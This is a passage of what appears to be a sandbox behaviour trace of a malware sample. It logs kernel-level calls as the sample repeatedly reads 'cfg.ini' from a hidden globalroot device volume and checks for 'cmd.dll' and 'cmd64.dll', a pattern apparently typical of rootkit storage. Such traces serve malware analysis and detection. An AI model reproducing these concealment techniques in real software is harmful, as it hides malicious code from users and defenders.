FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.205] KeLeaveCriticalRegion () [0119.205] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.206] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.206] KeEnterCriticalRegion () [0119.206] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.206] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c83000 [0119.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.206] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.206] IdePortDispatch () returned 0x103 [0119.206] KeWaitForMutexObject () returned 0x0 [0119.206] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.206] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.206] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.206] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.206] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.206] IdePortDispatch () returned 0x103 [0119.206] KeWaitForMutexObject () returned 0x0 [0119.206] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.206] KeLeaveCriticalRegion () [0119.206] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.207] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.207] KeEnterCriticalRegion () [0119.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] KeLeaveCriticalRegion () [0119.207] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.207] KeEnterCriticalRegion () [0119.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.207] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] KeLeaveCriticalRegion () [0119.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.207] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.207] KeEnterCriticalRegion () [0119.207] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] ExFreePoolWithTag (P=0xfffffa8003bdbab0, Tag=0x0) [0119.207] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.207] KeLeaveCriticalRegion () [0119.207] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.207] ReleaseMutex (hMutex=0xf0) returned 1 [0119.207] Sleep (dwMilliseconds=0x124f80) [0119.208] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.214] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.214] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.214] KeEnterCriticalRegion () [0119.214] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.214] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.214] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.214] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.214] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.214] IdePortDispatch () returned 0x103 [0119.214] KeWaitForMutexObject () returned 0x0 [0119.214] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.214] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.214] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.214] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.214] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.214] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdb490 [0119.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] KeLeaveCriticalRegion () [0119.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.215] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.215] KeEnterCriticalRegion () [0119.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] KeLeaveCriticalRegion () [0119.215] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.215] KeEnterCriticalRegion () [0119.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.215] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.215] IdePortDispatch () returned 0x103 [0119.215] KeWaitForMutexObject () returned 0x0 [0119.215] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.215] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] KeLeaveCriticalRegion () [0119.215] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.215] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.215] KeEnterCriticalRegion () [0119.215] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.215] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb4000 [0119.215] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.215] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.215] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.215] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.215] IdePortDispatch () returned 0x103 [0119.216] KeWaitForMutexObject () returned 0x0 [0119.216] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.216] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.216] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.216] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.216] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.216] IdePortDispatch () returned 0x103 [0119.216] KeWaitForMutexObject () returned 0x0 [0119.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.216] KeLeaveCriticalRegion () [0119.216] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.216] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.216] KeEnterCriticalRegion () [0119.216] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.216] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.216] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.216] KeLeaveCriticalRegion () [0119.216] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.216] KeEnterCriticalRegion () [0119.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.217] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] KeLeaveCriticalRegion () [0119.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.217] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.217] KeEnterCriticalRegion () [0119.217] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] ExFreePoolWithTag (P=0xfffffa8003bdb490, Tag=0x0) [0119.217] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.217] KeLeaveCriticalRegion () [0119.217] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.217] ReleaseMutex (hMutex=0xf0) returned 1 [0119.217] Sleep (dwMilliseconds=0x124f80) [0119.228] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.228] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.228] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.228] KeEnterCriticalRegion () [0119.228] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.228] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.228] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.228] IdePortDispatch () returned 0x103 [0119.228] KeWaitForMutexObject () returned 0x0 [0119.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.229] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.229] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.229] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.229] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.229] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] KeLeaveCriticalRegion () [0119.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.229] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.229] KeEnterCriticalRegion () [0119.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] KeLeaveCriticalRegion () [0119.229] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.229] KeEnterCriticalRegion () [0119.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.229] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.229] IdePortDispatch () returned 0x103 [0119.229] KeWaitForMutexObject () returned 0x0 [0119.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] KeLeaveCriticalRegion () [0119.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.229] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.229] KeEnterCriticalRegion () [0119.229] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.229] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb8000 [0119.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.230] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.230] IdePortDispatch () returned 0x103 [0119.230] KeWaitForMutexObject () returned 0x0 [0119.230] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.230] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.230] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.230] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.230] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.230] IdePortDispatch () returned 0x103 [0119.230] KeWaitForMutexObject () returned 0x0 [0119.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.230] KeLeaveCriticalRegion () [0119.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.231] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.231] KeEnterCriticalRegion () [0119.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] KeLeaveCriticalRegion () [0119.231] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.231] KeEnterCriticalRegion () [0119.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.231] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] KeLeaveCriticalRegion () [0119.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.231] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.231] KeEnterCriticalRegion () [0119.231] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] ExFreePoolWithTag (P=0xfffffa8003aa8590, Tag=0x0) [0119.231] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.231] KeLeaveCriticalRegion () [0119.231] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.231] ReleaseMutex (hMutex=0xf0) returned 1 [0119.231] Sleep (dwMilliseconds=0x124f80) [0119.232] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.237] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.237] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.237] KeEnterCriticalRegion () [0119.237] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.237] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.237] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.237] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.237] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.237] IdePortDispatch () returned 0x103 [0119.238] KeWaitForMutexObject () returned 0x0 [0119.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.238] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.238] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.238] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.238] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.238] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bdbf00 [0119.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] KeLeaveCriticalRegion () [0119.238] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.238] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.238] KeEnterCriticalRegion () [0119.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] KeLeaveCriticalRegion () [0119.238] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.238] KeEnterCriticalRegion () [0119.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.238] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.238] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.238] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.238] IdePortDispatch () returned 0x103 [0119.238] KeWaitForMutexObject () returned 0x0 [0119.238] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.238] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] KeLeaveCriticalRegion () [0119.238] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.238] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.238] KeEnterCriticalRegion () [0119.238] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbb000 [0119.238] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.239] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.239] IdePortDispatch () returned 0x103 [0119.239] KeWaitForMutexObject () returned 0x0 [0119.239] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.239] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.239] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.239] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.239] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.239] IdePortDispatch () returned 0x103 [0119.239] KeWaitForMutexObject () returned 0x0 [0119.239] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.239] KeLeaveCriticalRegion () [0119.239] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.239] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.240] KeEnterCriticalRegion () [0119.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.240] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 